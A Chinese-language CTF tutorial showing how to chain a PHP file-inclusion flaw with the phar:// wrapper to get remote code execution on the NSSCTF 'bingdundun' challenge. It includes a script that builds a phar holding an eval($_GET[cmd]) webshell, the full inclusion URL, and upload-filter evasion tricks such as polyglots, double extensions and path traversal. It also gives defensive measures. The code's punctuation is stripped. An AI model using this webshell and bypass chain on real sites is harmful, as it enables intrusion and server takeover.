CTF实战:手把手教你用phar伪协议绕过NSS靶场文件上传限制
CTF实战手把手教你用phar伪协议绕过NSS靶场文件上传限制在网络安全竞赛和渗透测试中文件上传漏洞一直是高频考点。今天我们将深入探讨如何利用PHP的phar伪协议绕过NSSCTF平台bingdundun题目的文件上传限制实现远程代码执行(RCE)。不同于简单的Writeup本教程将从原理到实践带你完整走通整个攻击链。1. 环境分析与漏洞定位首先访问题目链接我们会看到一个文件上传界面提示只能上传图片或者压缩包。这种限制在CTF和实际渗透中非常常见通常通过检查文件扩展名或MIME类型来实现。关键发现点URL中存在GET参数bingdundunindex测试发现参数值会被自动追加.php后缀上传功能仅允许图片(.jpg,.png等)或压缩包(.zip,.rar等)通过简单测试我们可以推测后台可能存在文件包含漏洞。当传入?bingdundunfilename时服务器会尝试包含filename.php文件。这为我们后续利用phar伪协议提供了可能。注意在实际测试中建议先尝试上传正常图片观察服务器返回的存储路径和文件名处理方式这对后续攻击很有帮助。2. phar伪协议核心原理phar(PHP Archive)是PHP的一种打包格式类似于Java的JAR。从PHP 5.3开始默认支持.phar文件操作。phar伪协议最强大的特性在于它能解析多种压缩格式而不仅限于.phar后缀。phar文件结构解析Stub文件头必须包含__HALT_COMPILER();语句Manifest描述压缩内容包含文件元数据(可序列化)File Contents实际压缩的文件内容Signature(可选)文件签名与其他压缩协议(zip://, bzip2://等)相比phar://有以下优势支持更多压缩格式不严格依赖文件扩展名可以触发反序列化操作(通过metadata)3. 构造恶意phar文件虽然题目允许上传.zip文件但我们将演示更通用的phar文件构造方法。以下是创建恶意phar文件的PHP脚本?php $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ?); // 添加包含恶意代码的文件 $phar-addFromString(shell.php, ?php eval($_GET[cmd]); ?); // 可以添加metadata用于反序列化攻击 // $phar-setMetadata([key value]); $phar-stopBuffering(); ?执行此脚本后会生成exploit.phar文件。我们可以直接上传它或者重命名为.zip扩展名以绕过上传限制。关键技巧即使重命名为.jpg只要内容符合phar格式仍可被解析最小phar文件只需包含stub和至少一个文件可以通过php -d phar.readonly0 script.php禁用只读模式4. 完整攻击链实现现在我们将各个步骤串联起来实现完整的攻击流程上传阶段将生成的phar文件重命名为exploit.zip上传到服务器记下返回的存储路径如/uploads/exploit.zip文件包含触发构造URL?bingdundunphar://uploads/exploit.zip/shell服务器会解析为phar://uploads/exploit.zip/shell.php由于phar协议会自动解压并访问内部文件我们的shell.php将被执行RCE实现访问包含后的URL附加命令参数cmdsystem(ls);服务器将执行我们注入的PHP代码常见问题排查如果返回空白可能是phar文件构造有问题检查stub格式如果报错not a valid phar archive尝试重新生成或使用zip格式确保内部文件路径与包含时指定的路径一致5. 防御措施与进阶思考了解攻击手段后我们更应该思考如何防御此类漏洞。以下是几种有效的防护方案防御措施实现方式有效性文件内容检查使用getimagesize()验证图片真实性中重命名上传文件生成随机文件名避免目录遍历高禁用危险协议在php.ini中限制phar://等协议高权限隔离上传目录禁止执行PHP高在更复杂的场景中phar协议还可以与反序列化漏洞结合通过精心构造的metadata实现更深入的攻击。这要求我们不仅要关注文件上传本身还要注意整个应用的处理流程。6. 其他压缩协议对比除了phar://PHP还支持多种压缩流协议它们在CTF中各有应用场景协议对比表协议所需扩展支持格式自动解压反序列化风险phar://内置phar, zip是高zip://zipzip是无bzip2://bz2bz2是无zlib://zlibgz是无选择协议时zip://通常是最兼容的方案而phar://功能最强大但风险也最高。在实际渗透测试中可以依次尝试这些协议寻找可用的攻击面。7. 实战技巧与经验分享在真实CTF比赛和渗透测试中有几点经验值得分享文件扩展名绕过尝试.phar、.zip、.jpg等多种扩展名测试大小写变种(.pHp、.PhAr)使用双扩展名(exploit.jpg.php)内容混淆技术在phar文件中添加真实的图片数据使用polyglot技术构造既是图片又是phar的文件通过注释添加垃圾数据干扰检测路径遍历技巧尝试绝对路径包含phar:///var/www/uploads/exploit.zip测试相对路径phar://../uploads/exploit.zip结合目录穿越实现更灵活的包含遇到上传限制时不要轻易放弃。多角度思考、全面测试每个可能的入口点往往能在看似严密的防御中找到突破口。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2643593.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!